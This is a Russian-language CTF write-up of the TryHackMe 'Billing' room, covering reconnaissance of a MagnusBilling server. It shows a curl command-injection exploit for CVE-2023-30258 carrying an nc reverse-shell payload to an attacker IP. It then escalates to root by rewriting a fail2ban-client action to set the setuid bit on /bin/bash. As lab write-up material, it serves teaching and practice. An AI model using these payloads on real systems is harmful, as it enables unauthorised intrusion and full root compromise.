Пост

TryHackMe - Billing

Приложение MagnusBilling и Asterisk для биллинговой системы

TryHackMe - Billing

Введение

Не Easy комната, если честно 😄, но она была довольно интересной, и после неё я точно сделал несколько заметок.

TryHackMe Room Link

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
nmap -T4 -n -sC -sV -Pn -p- 10.10.246.75
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 79:ba:5d:23:35:b2:f0:25:d7:53:5e:c5:b9:af:c0:cc (RSA)
|   256 4e:c3:34:af:00:b7:35:bc:9f:f5:b0:d2:aa:35:ae:34 (ECDSA)
|_  256 26:aa:17:e0:c8:2a:c9:d9:98:17:e4:8f:87:73:78:4d (ED25519)
80/tcp   open  http     Apache httpd 2.4.56 ((Debian))
| http-title:             MagnusBilling        
|_Requested resource was http://10.10.246.75/mbilling/
|_http-server-header: Apache/2.4.56 (Debian)
| http-robots.txt: 1 disallowed entry 
|_/mbilling/
3306/tcp open  mysql    MariaDB 10.3.23 or earlier (unauthorized)
5038/tcp open  asterisk Asterisk Call Manager 2.10.6
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Открытые порты: 22/tcp 80/tcp 3306/tcp 5038/tcp

Разведка

1
2
3
ffuf -w /usr/share/wordlists/wfuzz/general/common.txt -u "http://10.10.246.75/FUZZ" -fl 124

ffuf -w /usr/share/wordlists/wfuzz/general/common.txt -u "http://10.10.246.75/FUZZ" -e .html,.php

Пока что ничего интересного.

Мы видим, что используется приложение MagnusBilling, давайте поищем больше информации.

После проверки GitHub‑репозитория MagnusBilling и изучения файловой системы мы можем получить доступ к файлу README.md и увидеть версию приложения.

All ports

Первичный доступ

Похоже, что приложение уязвимо к CVE-2023-30258.

Окей, исходя из этой уязвимости, давайте соберём наш payload.

Запускаем netcat‑слушатель на нашей атакующей машине

1
nc -lvnp 1337

И отправляем GET‑запрос на машину‑жертву

1
curl -s 'http://10.10.246.75/mbilling/lib/icepay/icepay.php' --get --data-urlencode 'democ=;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.14.99.72 443 >/tmp/f;'

All ports

И мы можем получить пользовательский флаг

All ports

Root‑флаг

Для удобства давайте запустим интерактивную оболочку

1
python3 -c 'import pty; pty.spawn("/bin/bash")'

Давайте проверим, можем ли мы запускать что‑нибудь с правами sudo

1
2
3
4
5
6
7
8
9
10
11
asterisk@Billing:/home/magnus$ sudo -l
sudo -l
Matching Defaults entries for asterisk on Billing:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for asterisk:
    Defaults!/usr/bin/fail2ban-client !requiretty

User asterisk may run the following commands on Billing:
    (ALL) NOPASSWD: /usr/bin/fail2ban-client

Мы можем запускать сервис fail2ban с правами sudo, поэтому давайте посмотрим его версию

1
2
3
asterisk@Billing:/home/magnus$ fail2ban-client --version
fail2ban-client --version
Fail2Ban v0.11.2

Проверяя статус fail2ban-server, мы видим, что активно 8 «jail» (правил защиты)

1
2
3
4
$ sudo /usr/bin/fail2ban-client status
Status
|- Number of jail:      8
`- Jail list:   ast-cli-attck, ast-hgc-200, asterisk-iptables, asterisk-manager, ip-blacklist, mbilling_ddos, mbilling_login, sshd

Jail’ы определяют, какие логи отслеживать, какие шаблоны считать подозрительными и какие действия выполнять при совпадении.

Например, jail asterisk-iptables в файле /etc/fail2ban/jail.local настроен следующим образом:

1
2
3
4
5
6
7
[asterisk-iptables]
enabled  = true
filter   = asterisk
action   = iptables-allports[name=ASTERISK, port=all, protocol=all]
logpath  = /var/log/asterisk/messages
maxretry = 5
bantime  = 600

Чтобы выполнять команды от имени root, мы изменяем действие, которое выполняется при блокировке IP. Сначала проверяем текущее действие:

1
2
$ sudo /usr/bin/fail2ban-client get asterisk-iptables actions
iptables-allports-ASTERISK

Затем мы заменяем команду actionban, чтобы установить бит setuid для /bin/bash:

1
$ sudo /usr/bin/fail2ban-client set asterisk-iptables action iptables-allports-ASTERISK actionban 'chmod +s /bin/bash'

Проверяем внесённые изменения

1
2
$ sudo /usr/bin/fail2ban-client get asterisk-iptables action iptables-allports-ASTERISK actionban
chmod +s /bin/bash

Ручное банирование IP, выполняя наш изменённый action:

1
$ sudo /usr/bin/fail2ban-client set asterisk-iptables banip 1.2.3.4

Мы вручную блокируем IP‑адрес, тем самым выполняя наше изменённое действие:

С включённым битом setuid мы теперь можем запустить оболочку с правами root и получить доступ к /root/root.txt

1
2
3
4
asterisk@Billing:/$ /bin/bash -p
bash-5.1# python3 -c 'import os;import pty;os.setuid(0);os.setgid(0);pty.spawn("/bin/bash");'
root@Billing:/# id
uid=0(root) gid=0(root) groups=0(root),1001(asterisk)

All ports

Авторский пост защищен лицензией CC BY 4.0 .